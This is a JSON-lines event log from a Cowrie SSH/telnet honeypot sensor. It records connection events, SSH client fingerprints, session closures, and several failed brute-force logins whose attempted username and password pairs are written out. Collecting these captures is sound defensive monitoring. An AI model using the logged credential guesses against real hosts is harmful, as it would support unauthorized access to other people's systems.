{"eventid":"cowrie.session.closed","duration":30.864357233047485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:18.144253Z","src_ip":"62.171.135.55","session":"dfddd3d2d265","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":35304,"dst_ip":"159.203.135.109","dst_port":23,"session":"16ff80f44343","protocol":"telnet","message":"New connection: 62.171.135.55:35304 (159.203.135.109:23) [session: 16ff80f44343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:21.376979Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44214,"dst_ip":"159.203.135.109","dst_port":22,"session":"66ba43600817","protocol":"ssh","message":"New connection: 159.203.92.129:44214 (159.203.135.109:22) [session: 66ba43600817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:23.329832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:23.334395Z","src_ip":"159.203.92.129","session":"66ba43600817","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:23.338691Z","src_ip":"159.203.92.129","session":"66ba43600817","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"cr2750af6bTs1pkq","message":"login attempt [ansible/cr2750af6bTs1pkq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:23.349736Z","src_ip":"159.203.92.129","session":"66ba43600817","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:24.367703Z","src_ip":"159.203.92.129","session":"66ba43600817","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":43970,"dst_ip":"159.203.135.109","dst_port":23,"session":"80fb25535ebc","protocol":"telnet","message":"New connection: 62.171.135.55:43970 (159.203.135.109:23) [session: 80fb25535ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:24.397904Z"}
{"eventid":"cowrie.session.closed","duration":39.47531485557556,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:25.717467Z","src_ip":"62.171.135.55","session":"625ca91a8190","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.630452871322632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:27.415493Z","src_ip":"62.171.135.55","session":"6c24ddd14414","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":53720,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6e51c831365","protocol":"telnet","message":"New connection: 62.171.135.55:53720 (159.203.135.109:23) [session: e6e51c831365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:27.491980Z"}
{"eventid":"cowrie.session.closed","duration":30.460007905960083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:28.183657Z","src_ip":"62.171.135.55","session":"9f0a6b487cff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":54272,"dst_ip":"159.203.135.109","dst_port":23,"session":"41ab47393ce8","protocol":"telnet","message":"New connection: 62.171.135.55:54272 (159.203.135.109:23) [session: 41ab47393ce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:35.745494Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":56280,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c0be469a79f","protocol":"telnet","message":"New connection: 62.171.135.55:56280 (159.203.135.109:23) [session: 0c0be469a79f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:36.263820Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":57800,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b0954a47d44","protocol":"telnet","message":"New connection: 62.171.135.55:57800 (159.203.135.109:23) [session: 5b0954a47d44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:36.679847Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":58592,"dst_ip":"159.203.135.109","dst_port":23,"session":"d558cdef6591","protocol":"telnet","message":"New connection: 62.171.135.55:58592 (159.203.135.109:23) [session: d558cdef6591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:36.876435Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":58606,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f07a20d62eb","protocol":"telnet","message":"New connection: 62.171.135.55:58606 (159.203.135.109:23) [session: 5f07a20d62eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:36.880583Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":59948,"dst_ip":"159.203.135.109","dst_port":23,"session":"e94368614389","protocol":"telnet","message":"New connection: 62.171.135.55:59948 (159.203.135.109:23) [session: e94368614389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:37.304926Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":60194,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6ffe9e31dba","protocol":"telnet","message":"New connection: 62.171.135.55:60194 (159.203.135.109:23) [session: a6ffe9e31dba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:37.391807Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":60328,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a904dbb17be","protocol":"telnet","message":"New connection: 62.171.135.55:60328 (159.203.135.109:23) [session: 5a904dbb17be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:37.441847Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":60384,"dst_ip":"159.203.135.109","dst_port":23,"session":"2200d9f1693f","protocol":"telnet","message":"New connection: 62.171.135.55:60384 (159.203.135.109:23) [session: 2200d9f1693f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:37.454704Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":32832,"dst_ip":"159.203.135.109","dst_port":23,"session":"77a4f2c08580","protocol":"telnet","message":"New connection: 62.171.135.55:32832 (159.203.135.109:23) [session: 77a4f2c08580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:37.616314Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":33690,"dst_ip":"159.203.135.109","dst_port":23,"session":"7edf9fdddb65","protocol":"telnet","message":"New connection: 62.171.135.55:33690 (159.203.135.109:23) [session: 7edf9fdddb65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:37.869043Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":35872,"dst_ip":"159.203.135.109","dst_port":23,"session":"61ef4c09296e","protocol":"telnet","message":"New connection: 62.171.135.55:35872 (159.203.135.109:23) [session: 61ef4c09296e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:38.526673Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":36236,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa7f255295eb","protocol":"telnet","message":"New connection: 62.171.135.55:36236 (159.203.135.109:23) [session: aa7f255295eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:38.635744Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":42379,"dst_ip":"159.203.135.109","dst_port":23,"session":"0148b5cfcd10","protocol":"telnet","message":"New connection: 62.171.135.55:42379 (159.203.135.109:23) [session: 0148b5cfcd10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:40.333328Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":53210,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f5ff13a758b","protocol":"telnet","message":"New connection: 62.171.135.55:53210 (159.203.135.109:23) [session: 0f5ff13a758b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:43.237784Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":55466,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6d21ab5d6b3","protocol":"telnet","message":"New connection: 62.171.135.55:55466 (159.203.135.109:23) [session: f6d21ab5d6b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:43.842682Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":33212,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4d147e8428f","protocol":"telnet","message":"New connection: 62.171.135.55:33212 (159.203.135.109:23) [session: a4d147e8428f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:45.440865Z"}
{"eventid":"cowrie.session.closed","duration":30.594650745391846,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:47.148912Z","src_ip":"62.171.135.55","session":"9fbc73962ac9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":50528,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0766dcfc1ca","protocol":"telnet","message":"New connection: 62.171.135.55:50528 (159.203.135.109:23) [session: a0766dcfc1ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:50.713121Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":54368,"dst_ip":"159.203.135.109","dst_port":23,"session":"096dd3382e98","protocol":"telnet","message":"New connection: 62.171.135.55:54368 (159.203.135.109:23) [session: 096dd3382e98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:51.613860Z"}
{"eventid":"cowrie.session.closed","duration":30.710674285888672,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:52.087533Z","src_ip":"62.171.135.55","session":"16ff80f44343","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.700350522994995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:55.098136Z","src_ip":"62.171.135.55","session":"80fb25535ebc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":52060,"dst_ip":"159.203.135.109","dst_port":22,"session":"12b0605dfe42","protocol":"ssh","message":"New connection: 43.159.177.40:52060 (159.203.135.109:22) [session: 12b0605dfe42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:57.726442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:57.737049Z","src_ip":"43.159.177.40","session":"12b0605dfe42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:57.802488Z","src_ip":"43.159.177.40","session":"12b0605dfe42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2019","message":"login attempt [admin/2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:58.069859Z","src_ip":"43.159.177.40","session":"12b0605dfe42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":61076,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6d0d3712cbd","protocol":"telnet","message":"New connection: 35.195.106.231:61076 (10.17.0.5:23) [session: f6d0d3712cbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:58.143756Z"}
{"eventid":"cowrie.session.closed","duration":30.70502781867981,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:58.196892Z","src_ip":"62.171.135.55","session":"e6e51c831365","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":61082,"dst_ip":"10.17.0.5","dst_port":23,"session":"99b2568ce5b2","protocol":"telnet","message":"New connection: 35.195.106.231:61082 (10.17.0.5:23) [session: 99b2568ce5b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:58.300367Z"}
{"eventid":"cowrie.session.closed","duration":0.004725933074951172,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:58.304965Z","src_ip":"35.195.106.231","session":"99b2568ce5b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.106.231","src_port":61094,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c93869873bf","protocol":"telnet","message":"New connection: 35.195.106.231:61094 (10.17.0.5:23) [session: 5c93869873bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:58.454534Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:59.141591Z","src_ip":"43.159.177.40","session":"12b0605dfe42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":39018,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb3fad61c209","protocol":"ssh","message":"New connection: 156.227.233.77:39018 (159.203.135.109:22) [session: eb3fad61c209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:59.210733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:59.216178Z","src_ip":"156.227.233.77","session":"eb3fad61c209","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:24:59.376974Z","src_ip":"156.227.233.77","session":"eb3fad61c209","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mytest","password":"123456","message":"login attempt [mytest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:00.054375Z","src_ip":"156.227.233.77","session":"eb3fad61c209","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:01.218775Z","src_ip":"156.227.233.77","session":"eb3fad61c209","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55076,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d9a20215a5f","protocol":"ssh","message":"New connection: 159.203.92.129:55076 (159.203.135.109:22) [session: 1d9a20215a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:05.444830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:05.449891Z","src_ip":"159.203.92.129","session":"1d9a20215a5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:05.472626Z","src_ip":"159.203.92.129","session":"1d9a20215a5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"dell-2019","message":"login attempt [ansible/dell-2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:06.026943Z","src_ip":"159.203.92.129","session":"1d9a20215a5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.339599132537842,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:06.084965Z","src_ip":"62.171.135.55","session":"41ab47393ce8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:07.044734Z","src_ip":"159.203.92.129","session":"1d9a20215a5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.41699504852295,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:07.096771Z","src_ip":"62.171.135.55","session":"5b0954a47d44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.286426305770874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:07.166948Z","src_ip":"62.171.135.55","session":"5f07a20d62eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.297772645950317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:25:07.174060Z","src_ip":"62.171.135.55","session":"d558cdef6591","protocol":"telnet"}
